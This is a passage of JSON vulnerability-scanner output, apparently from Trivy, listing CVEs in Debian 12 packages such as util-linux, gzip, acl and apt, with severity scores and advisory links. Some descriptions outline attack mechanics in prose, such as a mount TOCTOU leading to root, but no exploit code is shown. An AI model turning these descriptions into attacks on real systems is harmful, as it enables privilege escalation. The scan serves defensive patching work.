"https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "bsdutils@1:2.38.1-5+deb12u3", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "af5a434542493ff" }, "InstalledVersion": "1:2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7197f47c9d08f4c3497920c35c5bd3d73c730b009b36b1807697f7c80ff58e9c", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "bsdutils@1:2.38.1-5+deb12u3", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "af5a434542493ff" }, "InstalledVersion": "1:2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8d262750f80418a86aa732a28566e6b145041e7c0b5a5d2eea19da8b89ff5921", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-41992", "PkgID": "gzip@1.12-1", "PkgName": "gzip", "PkgIdentifier": { "PURL": "pkg:deb/debian/gzip@1.12-1?arch=amd64\u0026distro=debian-12.13", "UID": "d98f822bb32810f3" }, "InstalledVersion": "1.12-1", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-41992", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:23f861cc77322d587252d4cb9f5d79e57e71a303a6642f6316b71218cd3aaa50", "Title": "gzip: gzip: Information disclosure via global buffer overflow in LZH decompression", "Description": "GNU gzip contains a global buffer overflow vulnerability in the LZH decompression logic caused by improper reuse of shared global state between different decompression formats within a single execution. GNU gzip maintains a global array that is shared across the LZ77, LZW, and LZH decompression routines and is not reinitialized between files processed in the same invocation.\nBy decompressing a specially crafted LZW file followed by a specially crafted LZH file in a single gzip -d command, an attacker can poison the shared global state and subsequently trigger an out‑of‑bounds read in the LZH decoder. The LZH decompression logic follows stale values left in the shared array, causing reads past the end of the allocated global buffer.\n\nThis issue has been fixed in commits 63dbf6b3b9e6e781df1a6a64e609b10e23969681 and e7378c2d421be6a286922374425680bbe9ad8b7d.", "Severity": "HIGH", "CweIDs": [ "CWE-126" ], "VendorSeverity": { "alma": 2, "azure": 2, "julia": 2, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 1, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 6.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "V3Score": 3.6 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/23/1", "http://www.openwall.com/lists/oss-security/2026/08/25/1", "http://www.openwall.com/lists/oss-security/2026/08/27/2", "https://access.redhat.com/errata/RHSA-2026:61623", "https://access.redhat.com/security/cve/CVE-2026-41992", "https://bugzilla.redhat.com/2494158", "https://bugzilla.redhat.com/show_bug.cgi?id=2494158", "https://bugzilla.redhat.com/show_bug.cgi?id=2494159", "https://cert.pl/en/posts/2026/04/CVE-2026-41991", "https://cert.pl/en/posts/2026/04/CVE-2026-41991/", "https://cgit.git.savannah.gnu.org/cgit/gzip.git/commit/?id=63dbf6b3b9e6e781df1a6a64e609b10e23969681", "https://cgit.git.savannah.gnu.org/cgit/gzip.git/commit/?id=e7378c2d421be6a286922374425680bbe9ad8b7d", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41992", "https://errata.almalinux.org/9/ALSA-2026-61623.html", "https://errata.rockylinux.org/RLSA-2026:61623", "https://github.com/advisories/GHSA-qxh4-rprf-2mmj", "https://linux.oracle.com/cve/CVE-2026-41992.html", "https://linux.oracle.com/errata/ELSA-2026-65998-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-41992", "https://ubuntu.com/security/notices/USN-8512-1", "https://ubuntu.com/security/notices/USN-8733-1", "https://ubuntu.com/security/notices/USN-8733-2", "https://www.cve.org/CVERecord?id=CVE-2026-41992", "https://www.gnu.org/software/gzip", "https://www.gnu.org/software/gzip/" ], "PublishedDate": "2026-06-29T12:16:29.94Z", "LastModifiedDate": "2026-10-25T21:10:00.77Z" }, { "VulnerabilityID": "CVE-2026-54369", "PkgID": "libacl1@2.3.1-3", "PkgName": "libacl1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libacl1@2.3.1-3?arch=amd64\u0026distro=debian-12.13", "UID": "e0f2bdb67b2d1f8d" }, "InstalledVersion": "2.3.1-3", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54369", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e9259d88ba8fdecc5fb26ee5bb9f297cad9c27e244dcaa05d31179ab04ad08f3", "Title": "acl: Symlink traversal privilege escalation via libacl functions", "Description": "acl before version 2.4.0 contains a symlink traversal vulnerability in the libacl pathname-based functions acl_get_file(), acl_set_file(), acl_extended_file(), and acl_delete_def_file() that allows local attackers to escalate privileges by replacing any pathname component with a symbolic link. Attackers who control any component of a pathname processed by a privileged caller can redirect ACL read or write operations to arbitrary files or directories, enabling unauthorized manipulation of access control lists and local privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:34351", "https://access.redhat.com/errata/RHSA-2026:42736", "https://access.redhat.com/errata/RHSA-2026:42739", "https://access.redhat.com/errata/RHSA-2026:43420", "https://access.redhat.com/errata/RHSA-2026:44481", "https://access.redhat.com/errata/RHSA-2026:46836", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:53371", "https://access.redhat.com/errata/RHSA-2026:54769", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:64805", "https://access.redhat.com/errata/RHSA-2026:67140", "https://access.redhat.com/errata/RHSA-2026:67142", "https://access.redhat.com/errata/RHSA-2026:67144", "https://access.redhat.com/security/cve/CVE-2026-54369", "https://bugzilla.redhat.com/2490277", "https://bugzilla.redhat.com/2490279", "https://bugzilla.redhat.com/show_bug.cgi?id=2490277", "https://bugzilla.redhat.com/show_bug.cgi?id=2490279", "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=24a227d0ab8576612194f8a56c2314389adc74a5", "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=3589787cd589b34bdd9265936e17190b6d3f17d1", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54369", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54370", "https://errata.almalinux.org/9/ALSA-2026-42736.html", "https://errata.rockylinux.org/RLSA-2026:42736", "https://linux.oracle.com/cve/CVE-2026-54369.html", "https://linux.oracle.com/errata/ELSA-2026-43420.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54369", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54369.json", "https://www.cve.org/CVERecord?id=CVE-2026-54369", "https://www.vulncheck.com/advisories/acl-symlink-traversal-privilege-escalation-via-libacl-functions" ], "PublishedDate": "2026-06-29T14:16:57.487Z", "LastModifiedDate": "2026-10-25T21:10:00.77Z" }, { "VulnerabilityID": "CVE-2026-109518", "VendorIDs": [ "DLA-4880-1" ], "PkgID": "libapt-pkg6.0@2.6.1", "PkgName": "libapt-pkg6.0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libapt-pkg6.0@2.6.1?arch=amd64\u0026distro=debian-12.13", "UID": "1e52e81038616709" }, "InstalledVersion": "2.6.1", "FixedVersion": "2.6.2", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-109518", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd2dfbf92812ce7b18dcfa41ada5cd1541b922dd06b12cb10db89078fb6d59eb", "Title": "apt: apt: Remote code execution via hard link reuse during package download retries", "Description": "On Debian, Ubuntu, and derivative Linux distributions, an on-path attacker who can manipulate the HTTP traffic (including a malicious mirror or proxy) between an APT client and an archive server triggered by a package install can trick the client into installing an attacker-controlled unverified package and achieve remote code execution with root privileges.\n\n\n\nThe vulnerability is caused by the reuse of hard links and requires the client to follow redirects and retry the download of package files. It requires the client to have a non-zero Acquire::Retries configuration setting; the value 3 is the default starting with Debian 12 (bookworm) and Ubuntu 22.04 LTS (Jammy Jellyfish), so older releases are unaffected in a default configuration", "Severity": "HIGH", "CweIDs": [ "CWE-62", "CWE-367" ], "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/11/04/12", "https://access.redhat.com/security/cve/CVE-2026-109518", "https://lists.debian.org/debian-lts-announce/2026/11/msg00004.html", "https://lists.debian.org/debian-security-announce/2026/msg00526.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-109518", "https://ubuntu.com/blog/apt-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8996-1", "https://www.cve.org/CVERecord?id=CVE-2026-109518" ], "PublishedDate": "2026-11-04T16:17:33.01Z", "LastModifiedDate": "2026-11-05T05:18:19.033Z" }, { "VulnerabilityID": "CVE-2026-53613", "PkgID": "libblkid1@2.38.1-5+deb12u3", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "916d1d4dfc61b306" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3945834b9ee2f3ea999845df7ea060dd23d3b0f9d4788ea9044a68842c0ecf04", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libblkid1@2.38.1-5+deb12u3", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "916d1d4dfc61b306" }, "InstalledVersion": "2.38.1-5+deb12u3", "Status": "affected", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:13211e678b358c3efa1ef78e9386105545aa0fff93dc884a695848f7a3c76929", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", 